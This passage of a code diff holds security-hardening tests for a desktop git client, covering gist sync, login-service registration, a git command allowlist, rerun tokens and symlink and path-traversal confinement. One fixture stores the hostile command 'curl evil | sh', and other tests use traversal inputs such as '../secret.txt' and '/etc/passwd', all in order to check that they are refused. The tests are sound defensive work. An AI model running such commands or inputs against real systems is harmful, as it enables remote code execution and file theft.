=> { + await withService( + [ + { match: ['api', 'gists', '--paginate'], stdout: JSON.stringify([{ id: 'pub1', description: 'GitGood settings', public: true, files: { 'gitgood-settings.json': {} } }]) }, + { match: 'gist create', stdout: 'https://gist.github.com/octocat/newgist123\n' }, + ], + async (service, store) => { + expect((await service.enable()).gistId).toBe('newgist123'); + expect(store.getSettingsSync().gistId).toBe('newgist123'); + }, + ); + }); + it('enable creates a new gist when none is found, and records a hash', async () => { await withService( [ @@ -73,13 +86,22 @@ describe('SettingsSyncService against the gh stub', () => { }); it('upload sends the current export over stdin and records the new hash and timestamp', async () => { - await withService([{ match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { + await withService([{ match: ['api', 'gists/abc'], stdout: { updated_at: '2026-01-01T00:00:00Z', public: false } }, { match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { store.setSettingsSync({ gistId: 'abc', lastSyncedAt: null, lastHash: null }); await service.upload(); expect(store.getSettingsSync().lastSyncedAt).toBeTruthy(); expect(store.getSettingsSync().lastHash).toBeTruthy(); const log = await readStubLog(scenario.logPath); - expect(log[0].args).toEqual(['gist', 'edit', 'abc', '--filename', 'gitgood-settings.json', '-']); + expect(log[1].args).toEqual(['gist', 'edit', 'abc', '--filename', 'gitgood-settings.json', '-']); + }); + }); + + it('upload refuses a public gist and never edits it', async () => { + await withService([{ match: ['api', 'gists/abc'], stdout: { updated_at: '2026-01-01T00:00:00Z', public: true } }, { match: 'gist edit', stdoutFromStdin: true }], async (service, store, scenario) => { + store.setSettingsSync({ gistId: 'abc', lastSyncedAt: null, lastHash: 'h' }); + await expect(service.upload()).rejects.toThrow(/public/); + expect(store.getSettingsSync().lastHash).toBe('h'); + expect((await readStubLog(scenario.logPath)).some((e) => e.args.includes('edit'))).toBe(false); }); }); diff --git a/test/fixture/updater.test.ts b/test/fixture/updater.test.ts index 4cbaf63..8ba19ce 100644 --- a/test/fixture/updater.test.ts +++ b/test/fixture/updater.test.ts @@ -94,7 +94,7 @@ async function withUpdaterProvider

( const updater = new Updater(store, provider, (s) => changes.push(s), { getVersion: () => '1.0.0', manualUrl: 'https://github.com/erwin-wee/gitgood/releases', - disabledEnv: { isPackaged: true, platform: 'linux', portableExecutableDir: undefined, appImagePath: undefined, appImageWritable: false, ...disabledEnvOverrides }, + disabledEnv: { isPackaged: true, platform: 'linux', portableExecutableDir: undefined, appImagePath: '/home/user/GitGood.AppImage', appImageWritable: true, ...disabledEnvOverrides }, isPerMachineInstall, now: clock.now, setTimer: clock.setTimer, diff --git a/test/local-server.test.ts b/test/local-server.test.ts index 7a7cf80..fccbe71 100644 --- a/test/local-server.test.ts +++ b/test/local-server.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { managedUnit } from '../src/main/local-server'; +import { managedPlist, managedRunCommand, managedUnit, parseRegQuery, serviceBackend } from '../src/main/local-server'; describe('managedUnit', () => { it('starts the bundled server in Node mode, immune to the AppImage adding --no-sandbox', () => { @@ -14,3 +14,80 @@ describe('managedUnit', () => { expect(unit).toContain('ExecStart="/home/me/Apps/GitGood 100%%.AppImage" -e '); }); }); + +describe('macOS LaunchAgent', () => { + it('runs the bundled server in Node mode at login, restarting after a failure', () => { + const plist = managedPlist('/Applications/GitGood.app/Contents/MacOS/GitGood'); + expect(plist).toContain('Managed by the GitGood desktop app; rewritten on launch.'); + expect(plist).toContain('Label\n com.gitgood.server'); + expect(plist).toContain('/Applications/GitGood.app/Contents/MacOS/GitGood\n -e'); + expect(plist).toMatch(/ELECTRON_RUN_AS_NODE<\/key>\s*1<\/string>/); + expect(plist).toMatch(/RunAtLoad<\/key>\s*/); + expect(plist).toMatch(/SuccessfulExit<\/key>\s*/); + }); + + it('escapes XML metacharacters in the executable path', () => { + expect(managedPlist('/Apps/Git&Good /GitGood')).toContain('/Apps/Git&Good <beta>/GitGood'); + }); + + it('installs with bootstrap/kickstart and reloads a changed plist', () => { + const svc = serviceBackend('darwin', { home: '/Users/me', uid: 501 })!; + expect(svc.file).toBe('/Users/me/Library/LaunchAgents/com.gitgood.server.plist'); + const argvs = (rewritten: boolean) => svc.restart(rewritten, '/x').map((s) => s.argv.join(' ')); + expect(svc.install('/x').map((s) => s.argv.join(' '))).toEqual([ + 'launchctl bootout gui/501/com.gitgood.server', + 'launchctl bootstrap gui/501 /Users/me/Library/LaunchAgents/com.gitgood.server.plist', + 'launchctl kickstart -k gui/501/com.gitgood.server', + ]); + expect(argvs(true)).toEqual(svc.install('/x').map((s) => s.argv.join(' '))); + // Unchanged plist: the agent is already loaded at login, so only kick it. + expect(argvs(false)).toEqual(['launchctl bootstrap gui/501 /Users/me/Library/LaunchAgents/com.gitgood.server.plist', 'launchctl kickstart -k gui/501/com.gitgood.server']); + expect(svc.install('/x')[0].optional).toBe(true); + }); +}); + +describe('Windows login item', () => { + const exe = "C:\\Users\\me\\AppData\\Local\\Programs\\Git'Good\\GitGood.exe"; + + it('runs the GUI exe with the server flag (no console, no elevation)', () => { + expect(managedRunCommand(exe)).toBe(`"${exe}" --gitgood-server`); + }); + + it('registers under HKCU Run, then replaces any running server with the new one', () => { + const svc = serviceBackend('win32', { home: 'C:\\Users\\me' })!; + expect(svc.file).toBeNull(); + const [register, stop, start] = svc.install(exe); + expect(register.argv).toEqual(['reg', 'add', 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run', '/v', 'GitGoodServer', '/t', 'REG_SZ', '/d', `"${exe}" --gitgood-server`, '/f']); + // Only processes of this exe started with the flag are stopped; a server that is not running must not abort the restart. + expect(stop.argv.at(-1)).toContain("$_.Name -eq 'GitGood.exe'"); + expect(stop.argv.at(-1)).toContain("-like '*--gitgood-server*'"); + expect(stop.optional).toBe(true); + expect(start.argv.at(-1)).toBe("Start-Process -FilePath 'C:\\Users\\me\\AppData\\Local\\Programs\\Git''Good\\GitGood.exe' -ArgumentList '--gitgood-server'"); + }); + + it('rewrites the registry value only when the definition changed', () => { + const svc = serviceBackend('win32', { home: 'C:\\Users\\me' })!; + expect(svc.restart(true, exe).map((s) => s.argv[0])).toEqual(['reg', 'powershell.exe', 'powershell.exe']); + expect(svc.restart(false, exe).map((s) => s.argv[0])).toEqual(['powershell.exe', 'powershell.exe']); + }); + + it('reads the installed value back from reg query output', () => { + const out = `\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\n GitGoodServer REG_SZ "${exe}" --gitgood-server\r\n\r\n`; + expect(parseRegQuery(out)).toBe(`"${exe}" --gitgood-server`); + expect(parseRegQuery('ERROR: The system was unable to find the specified registry key or value.')).toBeNull(); + }); +}); + +describe('systemd lifecycle', () => { + it('keeps the existing Linux commands, honouring XDG_CONFIG_HOME', () => { + const svc = serviceBackend('linux', { home: '/home/me', xdgConfigHome: '/cfg' })!; + expect(svc.file).toBe('/cfg/systemd/user/gitgood-server.service'); + expect(svc.install('/x').map((s) => s.argv.join(' '))).toEqual(['systemctl --user daemon-reload', 'systemctl --user enable --now gitgood-server', 'systemctl --user restart gitgood-server']); + expect(svc.restart(true, '/x').map((s) => s.argv.at(-1))).toEqual(['daemon-reload', 'gitgood-server']); + expect(svc.restart(false, '/x').map((s) => s.argv.join(' '))).toEqual(['systemctl --user restart gitgood-server']); + }); + + it('has no backend on other platforms', () => { + expect(serviceBackend('freebsd', { home: '/home/me' })).toBeNull(); + }); +}); diff --git a/test/main-parsers.test.ts b/test/main-parsers.test.ts index 6f3597a..0921224 100644 --- a/test/main-parsers.test.ts +++ b/test/main-parsers.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { parsePorcelainV2 } from '../src/main/git/status'; +import { parsePorcelainV2, parseStatusIndicator } from '../src/main/git/status'; import { historyQueryArgs, mapSignatureStatus, parseLog, parseNameStatusZ, parseNumstatZ, pathspecArgs } from '../src/main/git/log'; import { EMPTY_HISTORY_QUERY } from '../src/shared/types'; import { classifyGitError, TransferProgressParser } from '../src/main/git/git'; @@ -46,6 +46,22 @@ describe('porcelain v2 status parsing', () => { }); }); +describe('status indicator parsing', () => { + it('reads ahead/behind and a dirty tree from porcelain v2 output', () => { + const out = ['# branch.oid 671acd7', '# branch.head main', '# branch.upstream origin/main', '# branch.ab +2 -3', '? scratch.js'].join('\0') + '\0'; + expect(parseStatusIndicator(out)).toEqual({ ahead: 2, behind: 3, hasChanges: true }); + }); + + it('is clean when only headers are present, and 0/0 without an upstream', () => { + expect(parseStatusIndicator('# branch.oid abc\0# branch.head main\0')).toEqual({ ahead: 0, behind: 0, hasChanges: false }); + }); + + it('counts a rename pair and a conflict as changes', () => { + expect(parseStatusIndicator('# branch.ab +0 -0\x002 R. N... 100644 100644 100644 abc def R100 b.ts\0a.ts\0').hasChanges).toBe(true); + expect(parseStatusIndicator('# branch.ab +0 -0\0u UU N... 100644 100644 100644 100644 a b c app.ts\0').hasChanges).toBe(true); + }); +}); + describe('log parsing', () => { it('parses records with fields, refs and co-authors', () => { const F = '\x1f'; diff --git a/test/nl-policy-hardening.test.ts b/test/nl-policy-hardening.test.ts index 913d453..68b68d7 100644 --- a/test/nl-policy-hardening.test.ts +++ b/test/nl-policy-hardening.test.ts @@ -47,6 +47,66 @@ describe('nlPolicy hardening: inspect arguments, dangerous flags and denylist', }); }); +describe('nlPolicy hardening: inspect families allow only listed options', () => { + // Abbreviations (git accepts unambiguous prefixes of long options) and unlisted options are refused with a reason. + for (const argv of [ + ['log', '--outp=/abs'], + ['log', '--out=/tmp/x'], + ['diff', '--outp=/tmp/x'], + ['diff', '--ext'], + ['diff', '--textc'], + ['show', 'HEAD', '--outp=/tmp/x'], + ['status', '--ignore-submodules'], + ['status', '--porcelain=v3'], + ['rev-parse', '--git-path', 'hooks'], + ['rev-parse', '--sq-quote', 'x'], + ['stash', 'list', '--outp=/tmp/x'], + ['reflog', 'show', '--outp=/tmp/x'], + ['reflog', '--outp=/tmp/x'], + ['log', '--show-signature'], + ['log', '--max-count=abc'], + ['log', '-n'], + ]) { + it(`refuses: ${argv.join(' ')}`, () => { + const step = plan(argv); + expect(step.executable, JSON.stringify(step)).toBe(false); + expect(step.refusalReason).toBeTruthy(); + }); + } + + for (const argv of [ + ['log', '--oneline', '-n', '5'], + ['log', '--oneline', '-n5'], + ['log', '-3', '--graph', '--decorate', '--all'], + ['log', '--author=bob', '--since=2.weeks', '--format=%h %s'], + ['diff', '--stat'], + ['diff', '--cached', '--name-only'], + ['diff', '--stat=120', 'main..feat', '--', 'src/a.ts'], + ['show', 'abc1234', '--name-only'], + ['show', 'HEAD', '--stat', '--format='], + ['status', '--short'], + ['status', '-sb'], + ['status', '--porcelain=v2', '--branch'], + ['rev-parse', '--abbrev-ref', 'HEAD'], + ['rev-parse', '--short', 'HEAD'], + ['stash', 'list', '--oneline'], + ['reflog', 'show', '-n', '10'], + ['reflog'], + ]) { + it(`still allows: ${argv.join(' ')}`, () => { + const step = plan(argv); + expect({ ok: step.executable, reason: step.refusalReason }, JSON.stringify(step)).toEqual({ ok: true, reason: null }); + }); + } + + it('runs diff-producing commands without external diff or textconv programs', () => { + for (const argv of [['log', '-p'], ['show', 'HEAD'], ['diff'], ['stash', 'list', '-p'], ['reflog', 'show', '-p']]) { + const mapped = plan(argv).mappedArgs[0] as string[]; + expect(mapped, argv.join(' ')).toEqual(expect.arrayContaining(['--no-ext-diff', '--no-textconv'])); + } + }); +}); + describe('nlPolicy hardening: "git branch" only lists', () => { // `branch` maps to the tryRun sentinel, whose readOnly flag only unsets // GIT_OPTIONAL_LOCKS, and the palette runs "safe" steps with no confirmation diff --git a/test/precommit-review-service.test.ts b/test/precommit-review-service.test.ts index f0d948e..ede95e3 100644 --- a/test/precommit-review-service.test.ts +++ b/test/precommit-review-service.test.ts @@ -157,7 +157,13 @@ describe.skipIf(!hasGitSync())('ReviewService agent export (real git)', () => { expect(latest.runId).toBe('run-1'); expect(latest.previousRunId).toBeNull(); expect(latest.findings.map((f: { id: string; dismissed: boolean }) => [f.id, f.dismissed])).toEqual([['f2', false], ['f1', true]]); - expect(latest.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(repo.path)}`); + const token = /&token=([0-9a-f]{32})$/.exec(latest.rerun.url)?.[1]; + expect(latest.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(repo.path)}&token=${token}`); + expect(await readFile(join(dir, 'latest.md'), 'utf8')).toContain(`&token=${token}`); + expect(service.consumeRerunToken(repo.path, 'nope')).toBe(false); + expect(service.consumeRerunToken('/other/repo', token!)).toBe(false); + expect(service.consumeRerunToken(repo.path, token!)).toBe(true); + expect(service.consumeRerunToken(repo.path, token!)).toBe(false); expect(JSON.parse(await readFile(join(dir, 'runs', 'run-1.json'), 'utf8')).runId).toBe('run-1'); const md = await readFile(join(dir, 'latest.md'), 'utf8'); expect(md).toContain('Hard-coded token'); diff --git a/test/protocol.test.ts b/test/protocol.test.ts index 522c487..432a5e0 100644 --- a/test/protocol.test.ts +++ b/test/protocol.test.ts @@ -8,14 +8,20 @@ describe('parseProtocolUrl', () => { }); it('parses the re-review deep link with a percent-encoded path', () => { - expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app')).toEqual({ kind: 'review-rerun', repoPath: '/home/dev/my app' }); - expect(parseProtocolUrl(' GITGOOD://review/rerun/?repo=C%3A%5Cwork%5Capp \n')).toEqual({ kind: 'review-rerun', repoPath: 'C:\\work\\app' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app')).toEqual({ kind: 'review-rerun', repoPath: '/home/dev/my app', token: null }); + expect(parseProtocolUrl(' GITGOOD://review/rerun/?repo=C%3A%5Cwork%5Capp \n')).toEqual({ kind: 'review-rerun', repoPath: 'C:\\work\\app', token: null }); + }); + + it('keeps the per-run token of the exported link, in either parameter order', () => { + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fr&token=abc123')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: 'abc123' }); + expect(parseProtocolUrl('gitgood://review/rerun?token=abc123&repo=%2Fr')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: 'abc123' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fr&token=')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: null }); }); it('keeps a plus sign in the path instead of decoding it as a space', () => { // URLSearchParams would turn '+' into ' '; '+' is legal in a path everywhere. - expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fsrc%2Fc%2B%2B%20app')).toEqual({ kind: 'review-rerun', repoPath: '/src/c++ app' }); - expect(parseProtocolUrl('gitgood://review/rerun?repo=/src/c+/x')).toEqual({ kind: 'review-rerun', repoPath: '/src/c+/x' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fsrc%2Fc%2B%2B%20app')).toEqual({ kind: 'review-rerun', repoPath: '/src/c++ app', token: null }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=/src/c+/x')).toEqual({ kind: 'review-rerun', repoPath: '/src/c+/x', token: null }); }); it('ignores rerun links without a repo and unknown paths', () => { diff --git a/test/repo-file-safety.test.ts b/test/repo-file-safety.test.ts new file mode 100644 index 0000000..d326ea2 --- /dev/null +++ b/test/repo-file-safety.test.ts @@ -0,0 +1,97 @@ +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { getPatchForFiles, readWorktree, toFsPath } from '../src/main/git/diff'; +import { ReviewService } from '../src/main/ai/review'; +import { discoverIssueTemplates } from '../src/main/gh/issue-templates'; +import { findPullRequestTemplate } from '../src/main/gh/pr-template'; +import { readRepoConfig } from '../src/main/repo/config'; +import { assertInsideRepo, readRepoFile } from '../src/main/repo/paths'; +import type { WorkingFile } from '../src/shared/types'; + +const SECRET = 'TOP-SECRET-OUTSIDE-THE-REPO'; +const dirs: string[] = []; +afterEach(() => { + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +/** A repo directory plus a sibling file outside it holding SECRET. */ +function setup(): { repo: string; outside: string } { + const base = mkdtempSync(join(tmpdir(), 'gg-symlink-')); + dirs.push(base); + const repo = join(base, 'repo'); + mkdirSync(repo); + const outside = join(base, 'outside.txt'); + writeFileSync(outside, SECRET); + return { repo, outside }; +} + +describe.skipIf(process.platform === 'win32')('repo files never follow symlinks out of the repository', () => { + it('review guidelines ignore a CONTRIBUTING.md symlinked to a file outside the repo', async () => { + const { repo, outside } = setup(); + symlinkSync(outside, join(repo, 'CONTRIBUTING.md')); + const service = new ReviewService(null as never, null as never, null as never, null as never, null as never, repo); + expect(await service['guidelines'](repo)).toBeNull(); + }); + + it('review guidelines still read a regular file', async () => { + const { repo } = setup(); + writeFileSync(join(repo, 'CONTRIBUTING.md'), 'Be nice.'); + const service = new ReviewService(null as never, null as never, null as never, null as never, null as never, repo); + expect(await service['guidelines'](repo)).toContain('Be nice.'); + }); + + it('refuses a file reached through a symlinked directory that leaves the repo', async () => { + const { repo } = setup(); + const base = join(repo, '..'); + mkdirSync(join(base, 'elsewhere')); + writeFileSync(join(base, 'elsewhere', 'review.md'), SECRET); + symlinkSync(join(base, 'elsewhere'), join(repo, '.gitgood')); + expect(await readRepoFile(repo, '.gitgood/review.md')).toBeNull(); + }); + + it('PR template, issue templates and .gitgood/config.json ignore symlinks', async () => { + const { repo } = setup(); + const base = join(repo, '..'); + writeFileSync(join(base, 'tpl.md'), SECRET); + writeFileSync(join(base, 'cfg.json'), JSON.stringify({ postResolveCheck: 'curl evil | sh' })); + mkdirSync(join(repo, '.github')); + symlinkSync(join(base, 'tpl.md'), join(repo, '.github', 'pull_request_template.md')); + symlinkSync(join(base, 'tpl.md'), join(repo, '.github', 'ISSUE_TEMPLATE.md')); + mkdirSync(join(repo, '.gitgood')); + symlinkSync(join(base, 'cfg.json'), join(repo, '.gitgood', 'config.json')); + expect(await findPullRequestTemplate(repo)).toBeNull(); + expect(await discoverIssueTemplates(repo)).toEqual([]); + expect(await readRepoConfig(repo)).toEqual({ postResolveCheck: null }); + }); + + it('an untracked symlink diffs as its link text, not the target contents', async () => { + const { repo, outside } = setup(); + symlinkSync(outside, join(repo, 'link')); + expect((await readWorktree(repo, 'link'))?.toString()).toBe(outside); + const file: WorkingFile = { path: 'link', oldPath: null, status: 'untracked', staged: false, conflict: null } as unknown as WorkingFile; + const { patch } = await getPatchForFiles(null as never, repo, [file], 100_000); + expect(patch).toContain(outside); + expect(patch).not.toContain(SECRET); + }); +}); + +describe('toFsPath / assertInsideRepo', () => { + it('rejects parent traversal and absolute paths, accepts nested relative ones', () => { + const repo = join(tmpdir(), 'gg-repo'); + expect(() => toFsPath(repo, '../x')).toThrow(); + expect(() => toFsPath(repo, 'a/../../x')).toThrow(); + expect(() => toFsPath(repo, '/etc/passwd')).toThrow(); + expect(toFsPath(repo, 'src/a.ts')).toBe(join(repo, 'src', 'a.ts')); + }); + + it.skipIf(process.platform === 'win32')('rejects a write target below a symlinked directory that leaves the repo', async () => { + const { repo } = setup(); + const out = join(repo, '..', 'outdir'); + mkdirSync(out); + symlinkSync(out, join(repo, 'link')); + await expect(assertInsideRepo(repo, toFsPath(repo, 'link/new/file.txt'))).rejects.toThrow(); + await expect(assertInsideRepo(repo, toFsPath(repo, 'fresh/dir/file.txt'))).resolves.toBeUndefined(); + }); +}); diff --git a/test/review-export.test.ts b/test/review-export.test.ts index a84c460..dafc3e7 100644 --- a/test/review-export.test.ts +++ b/test/review-export.test.ts @@ -2,6 +2,7 @@ import { describe, expect, it } from 'vitest'; import type { ReviewFinding, ReviewRun } from '../src/shared/types'; import { buildExportJson, exportFileNames, renderExportMarkdown, rerunCommand, rerunUrl, rerunUseful, serializeExport, sortFindings } from '../src/main/ai/review-export'; +const TOKEN = 'tok123'; const finding = (over: Partial = {}): ReviewFinding => ({ id: 'f1', path: 'src/app.ts', @@ -59,7 +60,7 @@ describe('sortFindings', () => { describe('buildExportJson', () => { it('carries every finding including dismissed ones, with forward-slash paths and a previous run id', () => { - const doc = buildExportJson(run(), 'run-1', 'linux'); + const doc = buildExportJson(run(), 'run-1', 'linux', TOKEN); expect(doc.version).toBe(1); expect(doc.runId).toBe('run-2'); expect(doc.previousRunId).toBe('run-1'); @@ -73,20 +74,20 @@ describe('buildExportJson', () => { { path: 'package-lock.json', status: 'skipped', reason: 'lockfile' }, ]); expect(doc.droppedInvalid).toBe(1); - expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'); - expect(doc.rerun?.command).toBe("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'"); + expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'); + expect(doc.rerun?.command).toBe("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'"); }); it('keeps a Windows repository path native while finding paths use forward slashes', () => { - const doc = buildExportJson(run({ repoPath: 'C:\\work\\app' }), null, 'win32'); + const doc = buildExportJson(run({ repoPath: 'C:\\work\\app' }), null, 'win32', TOKEN); expect(doc.repoPath).toBe('C:\\work\\app'); expect(doc.findings.every((f) => !f.path.includes('\\'))).toBe(true); - expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=C%3A%5Cwork%5Capp'); - expect(doc.rerun?.command).toBe('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); + expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123'); + expect(doc.rerun?.command).toBe('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); }); it('never contains fields that were not on the persisted run', () => { - const doc = buildExportJson(run(), null, 'linux'); + const doc = buildExportJson(run(), null, 'linux', TOKEN); const text = serializeExport(doc); expect(text).not.toMatch(/apiKey|ANTHROPIC_API_KEY|hasApiKey|claudeCliPath/); expect(Object.keys(doc).sort()).toEqual(['cancelled', 'droppedInvalid', 'effort', 'error', 'files', 'findings', 'finishedAt', 'model', 'previousRunId', 'provider', 'repoPath', 'rerun', 'runId', 'startedAt', 'strictness', 'summary', 'target', 'verdict', 'version']); @@ -95,7 +96,7 @@ describe('buildExportJson', () => { describe('serializeExport', () => { it('pretty prints with two spaces so a grep for "dismissed": false counts live findings', () => { - const text = serializeExport(buildExportJson(run(), null, 'linux')); + const text = serializeExport(buildExportJson(run(), null, 'linux', TOKEN)); expect(text.match(/^\s*"dismissed": false,?$/gm)).toHaveLength(3); expect(text.match(/^\s*"dismissed": true,?$/gm)).toHaveLength(1); expect(text.endsWith('}\n')).toBe(true); @@ -112,8 +113,8 @@ describe('rerun availability', () => { it('sets rerun to null and tells the agent to stop for a pull request run', () => { const pr = run({ target: { kind: 'pr', number: 7, headSha: 'aaaaaaaaaaaa', baseSha: 'bbbbbbbbbbbb', title: 'Add thing', url: 'https://x/7' } }); - expect(buildExportJson(pr, null, 'linux').rerun).toBeNull(); - const md = renderExportMarkdown(pr, null, 'linux'); + expect(buildExportJson(pr, null, 'linux', TOKEN).rerun).toBeNull(); + const md = renderExportMarkdown(pr, null, 'linux', TOKEN); expect(md).toContain('Do not ask GitGood to re-review'); expect(md).toContain('report the same findings'); expect(md).toContain('telling the user to commit those changes in GitGood and press Re-review'); @@ -123,7 +124,7 @@ describe('rerun availability', () => { }); describe('renderExportMarkdown', () => { - const md = renderExportMarkdown(run(), 'run-1', 'linux'); + const md = renderExportMarkdown(run(), 'run-1', 'linux', TOKEN); it('opens with the agent instruction block', () => { const instructions = md.slice(md.indexOf('## Instructions'), md.indexOf('## Findings')); @@ -131,7 +132,7 @@ describe('renderExportMarkdown', () => { expect(instructions).toContain('one file at a time'); expect(instructions).toContain('trust each finding\'s title and detail over its line number'); expect(instructions).toContain('Do not commit'); - expect(instructions).toContain("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'"); + expect(instructions).toContain("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'"); expect(instructions).toContain('re-read `latest.json`'); expect(md).toContain('supersedes `run-1`'); }); @@ -158,12 +159,12 @@ describe('renderExportMarkdown', () => { }); it('shows both Windows commands and says when there is nothing to fix', () => { - const win = renderExportMarkdown(run({ repoPath: 'C:\\work\\app', findings: [] }), null, 'win32'); - expect(win).toContain('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); - expect(win).toContain('start "" "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); + const win = renderExportMarkdown(run({ repoPath: 'C:\\work\\app', findings: [] }), null, 'win32', TOKEN); + expect(win).toContain('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); + expect(win).toContain('start "" "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); expect(win).toContain('No open findings. Nothing to fix.'); - expect(renderExportMarkdown(run({ findings: [], error: 'boom' }), null, 'darwin')).toContain('The review failed: boom'); - expect(rerunCommand('/r', 'darwin')).toBe(`open '${rerunUrl('/r')}'`); + expect(renderExportMarkdown(run({ findings: [], error: 'boom' }), null, 'darwin', TOKEN)).toContain('The review failed: boom'); + expect(rerunCommand('/r', 'darwin', TOKEN)).toBe(`open '${rerunUrl('/r', TOKEN)}'`); }); }); diff --git a/test/server-security.test.ts b/test/server-security.test.ts index b7bba5a..d348a8e 100644 --- a/test/server-security.test.ts +++ b/test/server-security.test.ts @@ -1,8 +1,9 @@ -import { existsSync, mkdtempSync, readFileSync } from 'node:fs'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join, sep } from 'node:path'; import type { IncomingMessage } from 'node:http'; import { describe, expect, it } from 'vitest'; +import { createHandlers, type HandlerDeps } from '../src/main/core/handlers'; import { hostOk, identityOk, loadOrCreateToken, offendingPath, originOk, pathArgs, safeEqual, tokenOk } from '../src/server/security'; function req(headers: Record, url = '/invoke'): IncomingMessage { @@ -111,3 +112,20 @@ describe('token persistence', () => { expect(loadOrCreateToken(file, dir)).toBe(first); }); }); + +describe('repo.readFile / repo.writeFile path confinement', () => { + it('refuse a "../" or absolute file path even when the repository path is allowed', async () => { + const base = mkdtempSync(join(tmpdir(), 'gg-readfile-')); + const repo = join(base, 'repo'); + mkdirSync(repo); + writeFileSync(join(base, 'secret.txt'), 'outside'); + writeFileSync(join(repo, 'ok.txt'), 'inside'); + const { dispatch } = createHandlers({ emit: () => {}, nlPalette: { setDispatcher: () => {} } } as unknown as HandlerDeps); + expect(await dispatch('repo.readFile', [repo, 'ok.txt'])).toMatchObject({ ok: true, value: 'inside' }); + expect(await dispatch('repo.readFile', [repo, '../secret.txt'])).toMatchObject({ ok: false }); + expect(await dispatch('repo.readFile', [repo, join(base, 'secret.txt')])).toMatchObject({ ok: false }); + expect(await dispatch('repo.writeFile', [repo, '../pwned.txt', 'x'])).toMatchObject({ ok: false }); + expect(existsSync(join(base, 'pwned.txt'))).toBe(false); + rmSync(base, { recursive: true, force: true }); + }); +}); diff --git a/test/server-web-bridge.test.ts b/test/server-web-bridge.test.ts index e1767d2..43588b8 100644 --- a/test/server-web-bridge.test.ts +++ b/test/server-web-bridge.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from 'vitest'; -import { BRIDGE_TAG, bridgeScript, WEB_BRIDGE_JS } from '../src/server/web-bridge'; +import { describe, expect, it, vi } from 'vitest'; +import { BRIDGE_TAG, bridgeFetchAllowed, bridgeScript, WEB_BRIDGE_JS } from '../src/server/web-bridge'; describe('web bridge', () => { it('is syntactically valid JavaScript', () => { @@ -21,7 +21,88 @@ describe('web bridge', () => { it('served script sets config before the bridge reads it', () => { const win: Record = {}; - new Function('window', bridgeScript('abc"123', 'linux').replace(WEB_BRIDGE_JS, ''))(win); - expect(win.__GITGOOD__).toEqual({ token: 'abc"123', platform: 'linux' }); + new Function('window', bridgeScript('abc"123', 'linux', '1.2.3').replace(WEB_BRIDGE_JS, ''))(win); + expect(win.__GITGOOD__).toEqual({ token: 'abc"123', platform: 'linux', version: '1.2.3' }); + }); +}); + +describe('bridgeFetchAllowed (the script embeds the token)', () => { + it('refuses requests the browser marks cross-site or same-site', () => { + expect(bridgeFetchAllowed('cross-site')).toBe(false); + expect(bridgeFetchAllowed('same-site')).toBe(false); + expect(bridgeFetchAllowed(['cross-site'])).toBe(false); + }); + + it('allows same-origin loads, address-bar navigation and clients that send no fetch metadata', () => { + expect(bridgeFetchAllowed('same-origin')).toBe(true); + expect(bridgeFetchAllowed('none')).toBe(true); + expect(bridgeFetchAllowed(undefined)).toBe(true); + }); +}); + +describe('bridge reconnect', () => { + class FakeSocket { + static all: FakeSocket[] = []; + onopen: (() => void) | null = null; + onclose: (() => void) | null = null; + onmessage: ((ev: { data: string }) => void) | null = null; + onerror: (() => void) | null = null; + constructor(public url: string) { + FakeSocket.all.push(this); + } + close(): void {} + } + + function boot(serverVersion: string) { + FakeSocket.all = []; + const events: [string, unknown][] = []; + const win: Record = { addEventListener() {}, crypto: { randomUUID: () => 'client-1' }, __GITGOOD__: { token: 't', platform: 'linux', version: '1.0.0' } }; + const doc = { addEventListener() {}, visibilityState: 'visible', hasFocus: () => true }; + const store = { getItem: () => 'client-1', setItem() {} }; + const fetchStub = async (url: string) => ({ ok: true, json: async () => (url === '/version' ? { version: serverVersion } : { ok: true, value: undefined }) }); + new Function('window', 'document', 'sessionStorage', 'location', 'WebSocket', 'fetch', WEB_BRIDGE_JS)(win, doc, store, { protocol: 